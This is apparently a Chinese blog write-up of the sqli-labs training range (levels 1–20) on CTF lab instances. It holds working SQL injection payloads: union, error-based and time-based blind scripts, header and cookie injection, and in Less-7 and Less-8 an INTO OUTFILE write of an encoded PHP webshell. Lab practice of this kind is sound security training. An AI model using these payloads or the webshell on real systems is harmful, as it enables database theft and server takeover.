sql注入靶场练习

文章目录

  • Less-1
  • Less-2
  • Less-3
  • Less-4
  • Less-5
  • Less-6
  • Less-7
  • Less-8
  • Less-9
  • Less-10
  • Less-11
  • Less-12
  • Less-13
  • Less-14
  • Less-15
  • Less-16
  • Less-17
  • less-18
  • Less-19
  • Less-20

Less-1

union没有被过滤,先试出来长度。

?id=1'order+by+3%23
?id=1'order+by+4%23

到4时,发现

sql注入靶场练习_第1张图片

然后再试出来回显位置。

?id=-1'+union+select+1,2,3%23

发现在2,3处回显。

然后爆破数据库。

?id=-1'+union+select+1,2,(select+group_concat(schema_name)+from+information_schema.schemata)%23

sql注入靶场练习_第2张图片

发现了ctftraining,猜测flag在其中,然后查询表名。

?id=-1'+union+select+1,2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="ctftraining")%23

然后查询列名。

?id=-1'+union+select+1,2,(select+group_concat(column_name)+from+information_schema.columns+where+table_name="flag")%23

然后得到flag。

?id=-1'+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-2

输入’发现回显错误,猜测不用闭合。

和第一个一样,就是少了一个’

?id=-1+union+select+1,2,3%23

还是在2和3中回显,查询数据库。

?id=-1'+union+select+1,2,(select+group_concat(schema_name)+from+information_schema.schemata)%23

然后就是查询表名、列名,得到flag。

?id=-1+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-3

发现’并不能使前边闭合,根据回显的错误可以利用’)来闭合。

在这里插入图片描述

看其回显尝试闭合方式,然后直接使用了上两道题得到flag的方法。

?id=-1')+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-4

还是继续查看报错。

sql注入靶场练习_第3张图片

去看了一下源码。

sql注入靶场练习_第4张图片

很明显,当我们传入1时,语句会变成

$sql="SELECT * FROM users WHERE id=("1") LIMIT 0,1";

这时,如果想要闭合,就需要")来闭合前边。

?id=-1")union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-5

第五题稍微的不一样了,输入1后发现并没有回显。

sql注入靶场练习_第5张图片

猜测本题是无回显注入,尝试一下报错注入,发现成功。

id='and+(extractvalue(1,concat(0x7e,(database()),0x7e)))%23

然后一步一步得到flag。

?id='and+(extractvalue(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e)))%23
'and+(extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="ctftraining"),0x7e)))%23

然后想得到flag。

?id='and+(extractvalue(1,concat(0x7e,(select+flag+from+ctftraining.flag),0x7e)))%23

然后会发现,得不到完整的flag,现在怎么办,可以利用字符串截取函数mid。

?id='and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),30),0x7e)))%23

或者用函数substring来截取。

?id='and+(extractvalue(1,substring(concat(0x7e,(select+flag+from+ctftraining.flag),0x7e),25,35)))%23

还可以让其反向输出,函数为reverse

?id='and+(extractvalue(1,reverse(concat(0x7e,(select+flag+from+ctftraining.flag),0x7e))))%23

然后自己写了个脚本。

#Athor: f0njl
import requests
url = 'http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-5/?id='
flag = ''
start=1
for i in range(1,3):
    payload = "'and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),{}),0x7e)))%23".format(start)
    start+=31
    re = requests.get(url+payload)
    print(re.text.split('~')[1].split("'
"
)[0],end="")

sql注入靶场练习_第6张图片

Less-6

继续看报错内容

在这里插入图片描述

很明显可以用"来闭合前边。

还是脚本。

#Athor: f0njl
import requests
url = 'http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-6/?id='
flag = ''
start=1
for i in range(1,3):
    payload = '"and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),{}),0x7e)))%23'.format(start)
    start+=31
    re = requests.get(url+payload)
    print(re.text.split('~')[1].split("'
"
)[0],end="")

Less-7

第七关,发现sql报错不回显报错信息,无法知道其闭合方式,只能自己试。

最后在

?id=1'))%23

这时发现正常回显。

sql注入靶场练习_第7张图片

但无法回显信息,试一下报错注入。

但是给了提示use outfile,本题我用的本地靶场。

?id=1%27))%20into%20outfile%20%27../../../WWW/www.sql.coom/sqli-labs-master/Less-7/1.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e%23

传入本页面下1.php木马文件。

sql注入靶场练习_第8张图片

看一下本题源码有何不同。
sql注入靶场练习_第9张图片

首先, i d 布局变了,变成了 ( ( ′ id布局变了,变成了((' id布局变了,变成了((id’)),这就需要我们去猜测其闭合方式。

然后又发现了本题将print_r(mysql_error());给注释掉了,无法打印出来error的信息,进而无法进行报错注入。

所以只能用outfile来写入木马。

Less-8

发现了,都不会回显了,但是sql注入异常和正常回显情况不一样。

正常:

[外sql注入靶场练习_第10张图片
异常:

sql注入靶场练习_第11张图片

本题还是靠写入shell木马。

?id=1'%20into%20outfile%20%27../../../WWW/www.sql.coom/sqli-labs-master/Less-8/1.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e%23

sql注入靶场练习_第12张图片

Less-9

和上一题一样,无任何回显,并且无法写入木马文件,尝试用时间盲注。

脚本:

#Author: f0njl
import requests
import datetime

url = "http://ed0b2644-3ae5-44f3-b1dd-65fed84f02c5.node4.buuoj.cn:81/Less-9/?id="
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        #payload = "1'and if(substr(database(),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)='{}',sleep(1),1)--+".format(i,j)
        payload = "1'and if(substr((select+flag+from+ctftraining.flag),{},1)='{}',sleep(1),1)--+".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            break

还可以用二分法,加快爆破速度。

Less-10

先尝试了单引号来闭合,然后时间注入,没成功。

最后尝试了一会,发现"可以成功闭合。

脚本:

#Author: f0njl
import requests
import datetime

url = "http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-10/?id="
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        payload = '1"and if(substr(database(),{},1)="{}",sleep(1),1)--+'.format(i,j)
        #payload = '1"and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)="{}",sleep(1),1)--+'.format(i,j)
        #payload = '1"and if(substr((select+flag+from+ctftraining.flag),{},1)="{}",sleep(1),1)--+'.format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            break

Less-11

从GET型注入变成了POST而已。发现可以回显,并且登录账号密码为admin,和第一题一样,直接union注入就好。

sql注入靶场练习_第13张图片

payload:

uname=admin&passwd=a'union+select+1,(select+flag+from+ctftraining.flag)#&submit=Submit

Less-12

发现闭合方式变了,先报错看一下其闭合方式。

sql注入靶场练习_第14张图片

所以闭合方式已经很明显了,是")

payload:

uname=admin&passwd=a")union+select+1,(select+flag+from+ctftraining.flag)#&submit=Submit

sql注入靶场练习_第15张图片

Less-13

闭合方式
在这里插入图片描述

报错注入

payload:

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

sql注入靶场练习_第16张图片

Less-14

闭合方式

sql注入靶场练习_第17张图片

payload:

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #

sql注入靶场练习_第18张图片

Less-15

脚本

import requests
import datetime
import time

url = "http://2d0283d0-a8c0-4e26-853a-00ba3f7abb57.node4.buuoj.cn/Less-15/"
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        data ={
        'uname': "admin'and if(substr(database(),{},1)='{}',sleep(1),1)#".format(i,j),
        'passwd': 'admin',
        'submit':'Submit'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            time.sleep(1)
            break

Less-16

脚本

import requests
import datetime
import time

url = "http://2d0283d0-a8c0-4e26-853a-00ba3f7abb57.node4.buuoj.cn/Less-16/"
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        data ={
        'uname': "admin\")and if(substr(database(),{},1)=\"{}\",sleep(1),1)#".format(i,j),
        'passwd': 'admin',
        'submit':'Submit'
        }
        #payload = "1'and if(substr(database(),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+flag+from+ctftraining.flag),{},1)='{}',sleep(1),1)--+".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            time.sleep(1)
            break

Less-17

提示密码被重置了,uname没法继续注入,转到passwd了,首先尝试让其报错。

sql注入靶场练习_第19张图片

成功报错,利用报错注入。

sql注入靶场练习_第20张图片

less-18

登陆后发现回显UA头

sql注入靶场练习_第21张图片

猜测为ua头注入

payload:

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

Less-19

尝试登陆后发现

sql注入靶场练习_第22张图片

注入点在Referer。payload和上一个一样。

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

sql注入靶场练习_第23张图片

Less-20

登陆后回显。

sql注入靶场练习_第24张图片

明显的Cookie注入。

payload:

' union select user(),database(),@@version #

sql注入靶场练习_第25张图片
ad:

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

你可能感兴趣的:(sql,数据库,安全)